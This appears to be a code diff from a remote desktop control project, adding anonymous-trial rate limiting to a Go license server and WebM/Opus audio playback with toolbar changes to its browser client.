// server (or runs standalone via http.ListenAndServe). // server (or runs standalone via http.ListenAndServe).
func (s *LicenseServer) Handler() http.Handler { return s.mux } func (s *LicenseServer) Handler() http.Handler { return s.mux }
@@ -92,13 +166,107 @@ func (s *LicenseServer) authenticate(w http.ResponseWriter, r *http.Request) *Li
return claims return claims
} }
// resolveAuth decides whether the request is paid (Bearer JWT) or anonymous
// trial (no Authorization header). Returns a LicenseClaims structure either
// way:
// - Paid: claims from JWT, untouched.
// - Trial: synthesized claims with Subject="trial:<ip>", Tier=TierFree,
// MaxDevices=FreeMaxDevices, no Bearer required.
//
// Anonymous requests are rate-limited per source IP; if the IP's bucket is
// full we write 429 and return nil. Bad JWTs still 401 as before.
func (s *LicenseServer) resolveAuth(w http.ResponseWriter, r *http.Request) *LicenseClaims {
if r.Header.Get("Authorization") != "" {
return s.authenticate(w, r)
}
// Anonymous trial branch.
ip := s.clientIP(r)
if !s.allowAnon(ip) {
s.warnOnce("rl:"+ip, rlWarnCooldown, "License Server: anonymous rate limit hit for ip=%s", ip)
w.Header().Set("Retry-After", "60")
writeJSONError(w, http.StatusTooManyRequests,
"trial rate limit exceeded; set YAMA_LICENSE_TOKEN for full license")
return nil
}
return &LicenseClaims{
Tier: TierFree,
MaxDevices: FreeMaxDevices,
RegisteredClaims: jwt.RegisteredClaims{
Subject: "trial:" + ip,
},
}
}
// clientIP returns the request's source IP. When trustProxy is set, prefer
// X-Real-IP, then the last entry of X-Forwarded-For. Otherwise fall back to
// r.RemoteAddr (host part only).
func (s *LicenseServer) clientIP(r *http.Request) string {
if s.trustProxy {
if v := strings.TrimSpace(r.Header.Get("X-Real-IP")); v != "" {
return v
}
if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
// Last entry is the one appended by the proxy closest to us.
parts := strings.Split(xff, ",")
last := strings.TrimSpace(parts[len(parts)-1])
if last != "" {
return last
}
}
}
host, _, err := net.SplitHostPort(r.RemoteAddr)
if err != nil {
return r.RemoteAddr
}
return host
}
// allowAnon enforces the anonymous-trial per-IP rate limit. Returns true
// when the call is admitted, false when the IP's bucket is full. Also reaps
// stale buckets opportunistically.
func (s *LicenseServer) allowAnon(ip string) bool {
s.anonMu.Lock()
defer s.anonMu.Unlock()
now := time.Now()
b, ok := s.anonBuckets[ip]
if !ok || now.Sub(b.windowStart) >= anonRateWindow {
s.anonBuckets[ip] = &anonBucket{count: 1, windowStart: now}
s.maybeReapAnonLocked(now)
return true
}
if b.count >= anonRatePerWindow {
return false
}
b.count++
return true
}
// maybeReapAnonLocked drops buckets whose windows are stale every N requests.
// Caller must hold s.anonMu.
func (s *LicenseServer) maybeReapAnonLocked(now time.Time) {
s.anonReqSeen++
if s.anonReqSeen < anonReapEvery {
return
}
s.anonReqSeen = 0
cutoff := now.Add(-anonRateWindow)
for ip, b := range s.anonBuckets {
if b.windowStart.Before(cutoff) {
delete(s.anonBuckets, ip)
}
}
}
func (s *LicenseServer) handleSign(w http.ResponseWriter, r *http.Request) { func (s *LicenseServer) handleSign(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost { if r.Method != http.MethodPost {
writeJSONError(w, http.StatusMethodNotAllowed, "method not allowed") writeJSONError(w, http.StatusMethodNotAllowed, "method not allowed")
return return
} }
claims := s.authenticate(w, r) claims := s.resolveAuth(w, r)
if claims == nil { if claims == nil {
return return
} }
@@ -117,7 +285,8 @@ func (s *LicenseServer) handleSign(w http.ResponseWriter, r *http.Request) {
// consume a slot — see quotaTracker.Reserve. // consume a slot — see quotaTracker.Reserve.
active, accepted := s.tracker.Reserve(claims.Subject, req.ClientID, claims.MaxDevices) active, accepted := s.tracker.Reserve(claims.Subject, req.ClientID, claims.MaxDevices)
if !accepted { if !accepted {
s.logger.Warn("License Server: quota exceeded for sub=%s tier=%s active=%d max=%d clientID=%s", s.warnOnce("quota:"+claims.Subject+":"+req.ClientID, quotaWarnCooldown,
"License Server: quota exceeded for sub=%s tier=%s active=%d max=%d clientID=%s",
claims.Subject, claims.Tier, active, claims.MaxDevices, req.ClientID) claims.Subject, claims.Tier, active, claims.MaxDevices, req.ClientID)
writeJSONError(w, http.StatusForbidden, writeJSONError(w, http.StatusForbidden,
fmt.Sprintf("quota exceeded: %d/%d devices in use", active, claims.MaxDevices)) fmt.Sprintf("quota exceeded: %d/%d devices in use", active, claims.MaxDevices))
@@ -154,7 +323,7 @@ func (s *LicenseServer) handleHeartbeat(w http.ResponseWriter, r *http.Request)
return return
} }
claims := s.authenticate(w, r) claims := s.resolveAuth(w, r)
if claims == nil { if claims == nil {
return return
} }

View File

@@ -23,6 +23,34 @@ type LicenseClaims struct {
jwt.RegisteredClaims jwt.RegisteredClaims
} }
// LoadRSAPrivateKey parses an RSA private key from a PEM file. Used by the
// "issue-token" CLI subcommand to sign customer JWTs offline.
// Accepts PKCS#1 ("RSA PRIVATE KEY") and PKCS#8 ("PRIVATE KEY") PEM encodings.
func LoadRSAPrivateKey(pemPath string) (*rsa.PrivateKey, error) {
data, err := os.ReadFile(pemPath)
if err != nil {
return nil, fmt.Errorf("read private key %s: %w", pemPath, err)
}
block, _ := pem.Decode(data)
if block == nil {
return nil, fmt.Errorf("no PEM block in %s", pemPath)
}
// PKCS#1: "RSA PRIVATE KEY"
if key, err := x509.ParsePKCS1PrivateKey(block.Bytes); err == nil {
return key, nil
}
// PKCS#8: "PRIVATE KEY"
if key, err := x509.ParsePKCS8PrivateKey(block.Bytes); err == nil {
rsaKey, ok := key.(*rsa.PrivateKey)
if !ok {
return nil, fmt.Errorf("PKCS#8 key in %s is not RSA", pemPath)
}
return rsaKey, nil
}
return nil, fmt.Errorf("failed to parse %s as PKCS#1 or PKCS#8 RSA private key", pemPath)
}
// LoadRSAPublicKey parses an RSA public key from a PEM file. The License // LoadRSAPublicKey parses an RSA public key from a PEM file. The License
// Server loads this once at startup to verify incoming customer JWTs. // Server loads this once at startup to verify incoming customer JWTs.
// Accepts both PKCS#1 ("RSA PUBLIC KEY") and PKIX ("PUBLIC KEY") PEM // Accepts both PKCS#1 ("RSA PUBLIC KEY") and PKIX ("PUBLIC KEY") PEM

View File

@@ -51,6 +51,15 @@ func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
h.handleConnect(c, raw) h.handleConnect(c, raw)
case "rdp_reset": case "rdp_reset":
h.handleRdpReset(c, raw) h.handleRdpReset(c, raw)
case "audio_toggle":
// Audio capture/forwarding is not yet ported from the C++ WebService
// (see project_go_webservice_port). Reply explicitly so the front-end
// console shows why the toolbar button has no effect, instead of the
// request being silently dropped by the default case.
c.queue(mustJSON(map[string]any{
"cmd": "audio_toggle_result", "ok": false,
"msg": "Audio toggle not supported on Go server yet",
}))
case "mouse": case "mouse":
h.handleMouse(c, raw) h.handleMouse(c, raw)
case "key": case "key":

View File

@@ -737,6 +737,7 @@
.toolbar-btn-bar:hover { background: rgba(255,255,255,0.2); } .toolbar-btn-bar:hover { background: rgba(255,255,255,0.2); }
.toolbar-btn-bar.active { background: rgba(52,199,89,0.8); } .toolbar-btn-bar.active { background: rgba(52,199,89,0.8); }
.toolbar-btn-bar.active:hover { background: rgba(52,199,89,1); } .toolbar-btn-bar.active:hover { background: rgba(52,199,89,1); }
.toolbar-btn-bar.muted { opacity: 0.55; }
.toolbar-btn-bar:disabled { opacity: 0.4; cursor: not-allowed; } .toolbar-btn-bar:disabled { opacity: 0.4; cursor: not-allowed; }
.toolbar-btn-bar:disabled:hover { background: rgba(255,255,255,0.1); } .toolbar-btn-bar:disabled:hover { background: rgba(255,255,255,0.1); }
#screen-page:fullscreen .screen-toolbar { display: none; } #screen-page:fullscreen .screen-toolbar { display: none; }
@@ -828,6 +829,17 @@
.toolbar-btn:disabled { opacity: 0.3; cursor: not-allowed; } .toolbar-btn:disabled { opacity: 0.3; cursor: not-allowed; }
.toolbar-btn:disabled:hover { background: transparent; } .toolbar-btn:disabled:hover { background: transparent; }
.toolbar-btn:disabled:active { transform: none; } .toolbar-btn:disabled:active { transform: none; }
/* Throughput read-out inside the floating toolbar (fullscreen mode).
Hidden automatically while empty so the toolbar collapses cleanly. */
.fb-stats {
color: rgba(255,255,255,0.9);
font-size: 12px;
padding: 0 10px 0 6px;
font-variant-numeric: tabular-nums;
white-space: nowrap;
user-select: none;
}
.fb-stats:empty { display: none; }
.toolbar-toggle { .toolbar-toggle {
position: fixed; position: fixed;
/* 同 .floating-toolbar8px 基础 + 安全区 inset 避开刘海/灵动岛 */ /* 同 .floating-toolbar8px 基础 + 安全区 inset 避开刘海/灵动岛 */
@@ -1174,6 +1186,7 @@
<div class="toolbar-right"> <div class="toolbar-right">
<span id="screen-status" class="screen-status connecting">Connecting...</span> <span id="screen-status" class="screen-status connecting">Connecting...</span>
<button class="toolbar-btn-bar" id="btn-rdp-reset-bar" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button> <button class="toolbar-btn-bar" id="btn-rdp-reset-bar" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button>
<button class="toolbar-btn-bar" id="btn-audio-bar" onclick="toggleAudio()" title="Mute audio">&#x1F50A;</button>
<button class="toolbar-btn-bar" id="btn-mouse-bar" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button> <button class="toolbar-btn-bar" id="btn-mouse-bar" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button>
<button class="toolbar-btn-bar" id="btn-keyboard-bar" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button> <button class="toolbar-btn-bar" id="btn-keyboard-bar" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button>
<button class="fullscreen-btn" onclick="toggleFullscreen()" title="Fullscreen (F11)">&#x26F6;</button> <button class="fullscreen-btn" onclick="toggleFullscreen()" title="Fullscreen (F11)">&#x26F6;</button>
@@ -1203,10 +1216,12 @@
<div class="touch-indicator" id="touch-indicator"></div> <div class="touch-indicator" id="touch-indicator"></div>
<button class="toolbar-toggle" id="toolbar-toggle" onclick="toggleFloatingToolbar()">&#x2022;&#x2022;&#x2022;</button> <button class="toolbar-toggle" id="toolbar-toggle" onclick="toggleFloatingToolbar()">&#x2022;&#x2022;&#x2022;</button>
<div class="floating-toolbar" id="floating-toolbar"> <div class="floating-toolbar" id="floating-toolbar">
<span class="fb-stats" id="fb-stats"></span>
<button class="toolbar-btn" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button> <button class="toolbar-btn" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button>
<button class="toolbar-btn" id="btn-mouse" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button> <button class="toolbar-btn" id="btn-mouse" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button>
<button class="toolbar-btn" id="btn-keyboard" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button> <button class="toolbar-btn" id="btn-keyboard" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button>
<button class="toolbar-btn" onclick="disconnect()" title="Disconnect">&#x2715;</button> <button class="toolbar-btn" onclick="disconnect()" title="Disconnect">&#x2715;</button>
<button class="toolbar-btn" onclick="toggleFloatingToolbar()" title="Collapse">&#x25B4;</button>
</div> </div>
<div class="zoom-indicator" id="zoom-indicator">100%</div> <div class="zoom-indicator" id="zoom-indicator">100%</div>
<input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off"> <input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
@@ -1283,12 +1298,80 @@
<script src="/static/xterm.js"></script> <script src="/static/xterm.js"></script>
<script src="/static/xterm-fit.js"></script> <script src="/static/xterm-fit.js"></script>
<!-- Opus codec for audio decompression -->
<script src="https://cdn.jsdelivr.net/npm/opus.js@0.5.0/dist/opus.js"></script>
<script> <script>
let ws = null, token = null, decoder = null, devices = [], currentDevice = null; let ws = null, token = null, decoder = null, devices = [], currentDevice = null;
let frameCount = 0, lastFrameTime = 0, fps = 0, pingInterval = null; let frameCount = 0, lastFrameTime = 0, fps = 0, pingInterval = null;
// FPS 计数原始风格——decoder.onOutput 里 ++,每经过 1 秒采样一次。
// 简单直接,与本次会话改动前一致。
// 网络流量统计handleBinaryFrame 累加,每 1 秒钟 renderStats 读出
let bwBytesAccum = 0; // current-second byte accumulator
let bwBytesPerSec = 0; // last second's throughput (bytes/sec)
let currentWidth = 0, currentHeight = 0; // captured at frame decode time
const canvas = document.getElementById('screen-canvas'); const canvas = document.getElementById('screen-canvas');
const ctx = canvas.getContext('2d'); const ctx = canvas.getContext('2d');
// ====== Audio & Video Implementation ======
//
// - Video: H.264 / AV1 → VideoDecoder Web API → canvas
// - Audio: client encodes PCM → Opus, server forwards raw Opus packets
// to web, web wraps each packet in a WebM SimpleBlock and
// feeds it to MediaSource → <audio> element (browser decodes
// Opus natively, plays via standard media-element pipeline).
//
// WS binary frame layout (matches C++ ScreenSpyDlg.cpp):
// Video : [deviceID:4][frameType:1][dataLen:4][videoData:N]
// Audio : [deviceID:4][frameType=96:1][dataLen:4]
// [hasFormat:1][AudioFormat:12][padding:1]?[opusPacket:N]
// Term : [magic:4='TRM1'][terminalData:N]
//
// AudioFormat (12 bytes, commands.h, pack(1)):
// channels:2 sampleRate:4 bitsPerSample:2 blockAlign:2
// compression:1 (0=PCM unsupported by web, 1=Opus) reserved:1
// MSE + WebM/Opus playback. Raw Opus packets arrive over WS; we wrap
// each one in a minimal WebM container in JS and feed it to a
// SourceBuffer attached to a hidden <audio> element. The browser
// decodes Opus natively. Tested on desktop Chrome; mobile playback
// is a known follow-up (see commit notes).
let audioFormat = null; // { compression, channels, sampleRate, bitsPerSample, blockAlign }
let audioEnabled = true; // Audio on/off flag (set by UI)
let syncDrift = 0; // A/V sync monitoring (milliseconds)
let _audioElement = null; // hidden <audio> sink
let _mediaSource = null; // MediaSource attached to _audioElement
let _sourceBuffer = null; // SourceBuffer (Opus in WebM)
const _sourceBufferQueue = []; // appendBuffer queue (one in-flight at a time)
let _sourceBufferBusy = false;
let _initSegmentSent = false; // first init segment appended for current format
let _opusTimestampMs = 0; // running absolute cluster timestamp (ms)
const OPUS_FRAME_MS = 20; // 960 samples @ 48k — matches client encoder
const _pendingOpusPackets = []; // packets received before SourceBuffer is ready
// Browser autoplay policies require an HTMLAudioElement to be created
// and .play()'d synchronously inside a user-gesture event handler.
// We hook the first click/keydown to spin up the element + MediaSource.
// Subsequent activity (e.g. tab regaining focus) re-issues play().
function installAudioGestureUnlock() {
const onGesture = () => {
if (!_audioElement) {
try {
_setupAudioElementAndMediaSource();
console.log('[MSE] <audio> + MediaSource set up by gesture');
} catch (e) {
console.error('[MSE] setup failed:', e && e.message);
}
} else if (_audioElement.paused) {
_audioElement.play().catch(() => {});
}
};
const opts = { passive: true, capture: true };
window.addEventListener('click', onGesture, opts);
window.addEventListener('keydown', onGesture, opts);
}
installAudioGestureUnlock();
// Pagination and filter state // Pagination and filter state
let currentPage = 1; let currentPage = 1;
let viewMode = 'grid'; // 'grid' or 'list' let viewMode = 'grid'; // 'grid' or 'list'
@@ -1409,7 +1492,7 @@
} }
} }
}; };
ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); scheduleReconnect(); }; ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); stopAllAudio(); audioFormat = null; scheduleReconnect(); };
ws.onerror = (e) => console.error('WS error:', e); ws.onerror = (e) => console.error('WS error:', e);
ws.onmessage = (event) => { ws.onmessage = (event) => {
if (typeof event.data === 'string') handleSignaling(JSON.parse(event.data)); if (typeof event.data === 'string') handleSignaling(JSON.parse(event.data));
@@ -1486,11 +1569,22 @@
// Wait for resolution_changed message // Wait for resolution_changed message
updateScreenStatus('waiting', 'Waiting for video...'); updateScreenStatus('waiting', 'Waiting for video...');
} }
// Audio state may or may not be cached yet on the server.
// If not, the audio_state event below will populate it.
if (typeof msg.audio_enabled === 'boolean') {
applyAudioState(msg.audio_enabled);
}
} else { } else {
updateScreenStatus('error', msg.msg); updateScreenStatus('error', msg.msg);
setTimeout(() => showPage('devices-page'), 2000); setTimeout(() => showPage('devices-page'), 2000);
} }
break; break;
case 'audio_state':
applyAudioState(!!msg.enabled);
break;
case 'audio_toggle_result':
if (!msg.ok) console.warn('[Audio] toggle failed:', msg.msg);
break;
case 'term_ready': case 'term_ready':
termState.ready = true; termState.ready = true;
document.getElementById('term-status-info').textContent = document.getElementById('term-status-info').textContent =
@@ -1603,8 +1697,12 @@
// Set up vertical flip transform once (BMP is bottom-up) // Set up vertical flip transform once (BMP is bottom-up)
ctx.setTransform(1, 0, 0, -1, 0, height); ctx.setTransform(1, 0, 0, -1, 0, height);
if (decoder) { try { decoder.close(); } catch(e) {} } if (decoder) { try { decoder.close(); } catch(e) {} }
frameCount = 0; // Reset FPS sliding window on decoder (re)init so a resolution
lastFrameTime = performance.now(); // change or codec switch doesn't carry over stale counts.
frameCount = 0; lastFrameTime = performance.now(); fps = 0;
// 记录当前分辨率供 renderStats 重组 frame-info 文案
currentWidth = width;
currentHeight = height;
decoder = new VideoDecoder({ decoder = new VideoDecoder({
output: (frame) => { output: (frame) => {
// Check if frame dimensions match canvas // Check if frame dimensions match canvas
@@ -1613,13 +1711,13 @@
} }
ctx.drawImage(frame, 0, 0); ctx.drawImage(frame, 0, 0);
frame.close(); frame.close();
// 原始风格的 FPS 计数1 秒采样窗口
frameCount++; frameCount++;
const now = performance.now(); const now = performance.now();
if (now - lastFrameTime >= 1000) { if (now - lastFrameTime >= 1000) {
fps = Math.round(frameCount * 1000 / (now - lastFrameTime)); fps = Math.round(frameCount * 1000 / (now - lastFrameTime));
frameCount = 0; frameCount = 0;
lastFrameTime = now; lastFrameTime = now;
document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
} }
}, },
error: (e) => { console.error('Decoder error:', e); needKeyframe = true; } error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
@@ -1649,16 +1747,296 @@
return videoBytes[0] === 0x00 ? 'avc' : 'av1'; return videoBytes[0] === 0x00 ? 'avc' : 'av1';
} }
// ============================================================
// Minimal WebM-Opus muxer: wraps each Opus packet in a one-block
// Cluster so it can be fed to a SourceBuffer of type
// 'audio/webm; codecs="opus"'. The init segment (EBML header +
// Segment header + Tracks with OpusHead) is built once when the
// format is known and appended before any media clusters.
// ============================================================
const WebMMuxer = (function () {
// Variable-length integer (EBML VINT). Marker bit selects byte count.
function vint(value) {
if (value < 0x7F) return [0x80 | value];
if (value < 0x3FFF) return [0x40 | (value >> 8), value & 0xFF];
if (value < 0x1FFFFF) return [0x20 | (value >> 16), (value >> 8) & 0xFF, value & 0xFF];
if (value < 0x0FFFFFFF) return [0x10 | (value >> 24), (value >> 16) & 0xFF, (value >> 8) & 0xFF, value & 0xFF];
// 8-byte VINT for larger values (we don't usually need this)
const out = [0x01];
for (let i = 6; i >= 0; i--) out.push(Math.floor(value / Math.pow(2, i * 8)) & 0xFF);
return out;
}
// Unsigned int big-endian, n bytes
function uintBE(value, n) {
const out = new Array(n);
for (let i = n - 1; i >= 0; i--) { out[i] = value & 0xFF; value = Math.floor(value / 256); }
return out;
}
// 64-bit float big-endian
function f64BE(value) {
const buf = new ArrayBuffer(8);
new DataView(buf).setFloat64(0, value, false);
return Array.from(new Uint8Array(buf));
}
// EBML element = ID + size(VINT) + payload
function elem(idBytes, payload) {
const sz = vint(payload.length);
const out = new Array(idBytes.length + sz.length + payload.length);
let i = 0;
for (const b of idBytes) out[i++] = b;
for (const b of sz) out[i++] = b;
for (const b of payload) out[i++] = b;
return out;
}
// OpusHead codec-private structure (19 bytes). Per WebM/Opus spec,
// the authoritative encoder delay is CodecDelay (in ns) in the
// TrackEntry; pre-skip here is left at 0 to avoid double-skipping.
function opusHead(sampleRate, channels) {
return [
0x4F, 0x70, 0x75, 0x73, 0x48, 0x65, 0x61, 0x64, // "OpusHead"
0x01, // version
channels & 0xFF, // channel count
0x00, 0x00, // pre-skip (use CodecDelay instead)
sampleRate & 0xFF, (sampleRate >> 8) & 0xFF,
(sampleRate >> 16) & 0xFF, (sampleRate >> 24) & 0xFF,
0x00, 0x00, // output gain (LE)
0x00 // channel mapping family
];
}
function buildInitSegment(sampleRate, channels) {
const ebml = elem([0x1A, 0x45, 0xDF, 0xA3], [].concat(
elem([0x42, 0x86], [0x01]), // EBMLVersion
elem([0x42, 0xF7], [0x01]), // EBMLReadVersion
elem([0x42, 0xF2], [0x04]), // EBMLMaxIDLength
elem([0x42, 0xF3], [0x08]), // EBMLMaxSizeLength
elem([0x42, 0x82], [0x77, 0x65, 0x62, 0x6D]), // DocType "webm"
elem([0x42, 0x87], [0x04]), // DocTypeVersion
elem([0x42, 0x85], [0x02]) // DocTypeReadVersion
));
const info = elem([0x15, 0x49, 0xA9, 0x66], [].concat(
elem([0x2A, 0xD7, 0xB1], uintBE(1000000, 3)), // TimecodeScale 1ms
elem([0x4D, 0x80], [0x59, 0x61, 0x6D, 0x61]), // MuxingApp "Yama"
elem([0x57, 0x41], [0x59, 0x61, 0x6D, 0x61]) // WritingApp "Yama"
));
const trackEntry = [].concat(
elem([0xD7], [0x01]), // TrackNumber 1
elem([0x73, 0xC5], uintBE(1, 1)), // TrackUID 1
elem([0x83], [0x02]), // TrackType 2 (audio)
elem([0xB9], [0x01]), // FlagEnabled
elem([0x88], [0x01]), // FlagDefault
elem([0x9C], [0x00]), // FlagLacing 0
elem([0x86], [0x41, 0x5F, 0x4F, 0x50, 0x55, 0x53]), // CodecID "A_OPUS"
elem([0x63, 0xA2], opusHead(sampleRate, channels)), // CodecPrivate
elem([0x56, 0xAA], uintBE(6500000, 3)), // CodecDelay 6.5ms (ns)
elem([0x56, 0xBB], uintBE(80000000, 4)), // SeekPreRoll 80ms (ns)
elem([0xE1], [].concat( // Audio
elem([0xB5], f64BE(sampleRate)), // SamplingFrequency
elem([0x9F], [channels & 0xFF]) // Channels
))
);
const tracks = elem([0x16, 0x54, 0xAE, 0x6B], elem([0xAE], trackEntry));
// Segment uses unknown-size signal so we can stream clusters indefinitely
const segmentOpen = [0x18, 0x53, 0x80, 0x67,
0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF];
return new Uint8Array([].concat(ebml, segmentOpen, info, tracks));
}
function buildCluster(opusBytes, absMs) {
const simpleBlock = elem([0xA3], [].concat(
[0x81, 0x00, 0x00, 0x80], // TrackNumber=1, ts=0, flags=keyframe
Array.from(opusBytes)
));
const cluster = elem([0x1F, 0x43, 0xB6, 0x75], [].concat(
elem([0xE7], uintBE(absMs, 4)), // Timestamp (absolute, ms)
simpleBlock
));
return new Uint8Array(cluster);
}
return { buildInitSegment, buildCluster };
})();
// Create the hidden <audio> + MediaSource pair INSIDE a user-gesture
// call stack. Must complete .play() synchronously before any await.
function _setupAudioElementAndMediaSource() {
_audioElement = document.createElement('audio');
_audioElement.autoplay = true;
_audioElement.volume = 1.0;
_audioElement.style.display = 'none';
document.body.appendChild(_audioElement);
_mediaSource = new MediaSource();
_mediaSource.addEventListener('sourceopen', _onSourceOpen);
_audioElement.src = URL.createObjectURL(_mediaSource);
_audioElement.play().then(
() => console.log('[MSE] audio.play() ok'),
e => console.error('[MSE] audio.play() rejected:', e && e.message)
);
}
function _onSourceOpen() {
console.log('[MSE] sourceopen, readyState=' + (_mediaSource && _mediaSource.readyState));
if (audioFormat && audioFormat.compression === 1) {
_addSourceBufferAndInit();
}
}
function _addSourceBufferAndInit() {
if (!_mediaSource || _mediaSource.readyState !== 'open' || _sourceBuffer) return;
const mime = 'audio/webm; codecs="opus"';
if (!window.MediaSource || !MediaSource.isTypeSupported(mime)) {
console.error('[MSE] ' + mime + ' not supported by this browser');
return;
}
try {
_sourceBuffer = _mediaSource.addSourceBuffer(mime);
} catch (e) {
console.error('[MSE] addSourceBuffer failed:', e && e.message);
return;
}
_sourceBuffer.addEventListener('updateend', () => {
_sourceBufferBusy = false;
_flushSourceBufferQueue();
});
_sourceBuffer.addEventListener('error', e => console.error('[MSE] sourceBuffer error', e));
// Init segment first
_enqueueAppend(WebMMuxer.buildInitSegment(audioFormat.sampleRate, audioFormat.channels));
_initSegmentSent = true;
_opusTimestampMs = 0;
// Flush packets that arrived before SourceBuffer was ready
while (_pendingOpusPackets.length > 0) {
const pkt = _pendingOpusPackets.shift();
_enqueueAppend(WebMMuxer.buildCluster(pkt, _opusTimestampMs));
_opusTimestampMs += OPUS_FRAME_MS;
}
console.log('[MSE] SourceBuffer ready, init segment + ' +
(_opusTimestampMs / OPUS_FRAME_MS) + ' queued packets appended');
}
function _enqueueAppend(data) {
_sourceBufferQueue.push(data);
_flushSourceBufferQueue();
}
function _flushSourceBufferQueue() {
if (!_sourceBuffer || _sourceBufferBusy) return;
if (_sourceBufferQueue.length === 0) return;
const next = _sourceBufferQueue.shift();
_sourceBufferBusy = true;
try {
_sourceBuffer.appendBuffer(next);
} catch (e) {
console.error('[MSE] appendBuffer threw:', e && e.message);
_sourceBufferBusy = false;
}
}
function pushOpusPacket(opusBytes) {
if (!audioFormat || audioFormat.compression !== 1) return;
if (_sourceBuffer && _initSegmentSent) {
_enqueueAppend(WebMMuxer.buildCluster(opusBytes, _opusTimestampMs));
_opusTimestampMs += OPUS_FRAME_MS;
} else {
// Stash until SourceBuffer is ready. Cap at ~3s of audio.
const maxQueued = Math.ceil(3000 / OPUS_FRAME_MS);
while (_pendingOpusPackets.length >= maxQueued) _pendingOpusPackets.shift();
_pendingOpusPackets.push(new Uint8Array(opusBytes));
}
}
// Remove the SourceBuffer (so a new format/codec can be set up) but
// KEEP the same MediaSource and <audio> element. They hold our
// gesture-acquired play() permission — recreating either would
// require a fresh user tap on iOS. Never call endOfStream(), that
// transitions MediaSource to 'ended' which forbids future
// addSourceBuffer().
function stopAllAudio() {
if (_sourceBuffer && _mediaSource && _mediaSource.readyState === 'open') {
try { _mediaSource.removeSourceBuffer(_sourceBuffer); } catch (e) {}
}
_sourceBuffer = null;
_sourceBufferQueue.length = 0;
_sourceBufferBusy = false;
_initSegmentSent = false;
_opusTimestampMs = 0;
_pendingOpusPackets.length = 0;
}
function handleAudioFrame(data) {
if (!audioEnabled) return;
const u8 = new Uint8Array(data);
if (u8.length < 1) return;
let offset = 0;
const hasFormat = u8[offset++];
if (hasFormat) {
if (u8.length < offset + 12) {
console.warn('[Audio] truncated format header');
return;
}
// AudioFormat (12 bytes, commands.h, pack(1))
const view = new DataView(data, offset, 12);
const channels = view.getUint16(0, true);
const sampleRate = view.getUint32(2, true);
const bitsPerSample = view.getUint16(6, true);
const blockAlign = view.getUint16(8, true);
const compression = view.getUint8(10);
offset += 12;
offset += 1; // padding byte
if (channels === 0 || channels > 8) { console.error('[Audio] bad channels:', channels); return; }
if (sampleRate < 8000 || sampleRate > 48000) { console.error('[Audio] bad sampleRate:', sampleRate); return; }
const fmt = { compression, channels, sampleRate, bitsPerSample, blockAlign };
const needReinit = !audioFormat ||
audioFormat.sampleRate !== fmt.sampleRate ||
audioFormat.channels !== fmt.channels ||
audioFormat.compression !== fmt.compression;
audioFormat = fmt;
if (needReinit) {
if (fmt.compression !== 1) {
console.error('[Audio] PCM payload not supported by web; set USING_OPUS=1 on client');
stopAllAudio();
return;
}
stopAllAudio();
if (_mediaSource && _mediaSource.readyState === 'open') {
_addSourceBufferAndInit();
}
// else: sourceopen handler will pick up audioFormat when it fires
console.log('[Audio] Format → ch=' + fmt.channels +
' sr=' + fmt.sampleRate + ' compression=' + fmt.compression);
}
}
if (!audioFormat || audioFormat.compression !== 1) return;
if (u8.length <= offset) return;
// The remaining bytes are one Opus packet (variable length).
const opusBytes = new Uint8Array(data, offset);
pushOpusPacket(opusBytes);
}
function handleBinaryFrame(data) { function handleBinaryFrame(data) {
// 全部进入的二进制都计入带宽统计:视频帧 + 音频帧 + 终端帧
bwBytesAccum += data.byteLength;
// 终端输出帧4 字节 magic 'TRM1' (0x54 0x52 0x4D 0x31) → 转发到 xterm。 // 终端输出帧4 字节 magic 'TRM1' (0x54 0x52 0x4D 0x31) → 转发到 xterm。
// 视频帧首 4 字节是 deviceID (uint32 LE)撞这个具体值的概率极低4 字节 magic
// 比单字节前缀安全得多,无需额外的状态校验。
const u8 = new Uint8Array(data); const u8 = new Uint8Array(data);
if (u8.length >= 4 && if (u8.length >= 4 &&
u8[0] === 0x54 && u8[1] === 0x52 && u8[2] === 0x4D && u8[3] === 0x31) { u8[0] === 0x54 && u8[1] === 0x52 && u8[2] === 0x4D && u8[3] === 0x31) {
if (termState && termState.term) termState.term.write(u8.subarray(4)); if (termState && termState.term) termState.term.write(u8.subarray(4));
return; return;
} }
// Audio frame: frameType byte at offset 4 indicates audio (96 = TOKEN_SCREEN_AUDIO)
// Full frame format: [deviceID:4][frameType:1][dataLen:4][hasFormat:1][AudioFormat?][audio_data...]
if (u8.length > 4 && u8[4] === 96) {
// Skip frame header (9 bytes) and pass audio payload to handler
const audioPayload = data.slice(9);
handleAudioFrame(audioPayload);
return;
}
// Video frame: [deviceID:4][frameType:1][dataLen:4][videoData...]
const view = new DataView(data); const view = new DataView(data);
const deviceId = view.getUint32(0, true); const deviceId = view.getUint32(0, true);
const frameType = view.getUint8(4); const frameType = view.getUint8(4);
@@ -1721,6 +2099,7 @@
const q = searchQuery.toLowerCase(); const q = searchQuery.toLowerCase();
filtered = filtered.filter(d => filtered = filtered.filter(d =>
(d.name && d.name.toLowerCase().includes(q)) || (d.name && d.name.toLowerCase().includes(q)) ||
(d.remark && d.remark.toLowerCase().includes(q)) ||
(d.ip && d.ip.toLowerCase().includes(q)) || (d.ip && d.ip.toLowerCase().includes(q)) ||
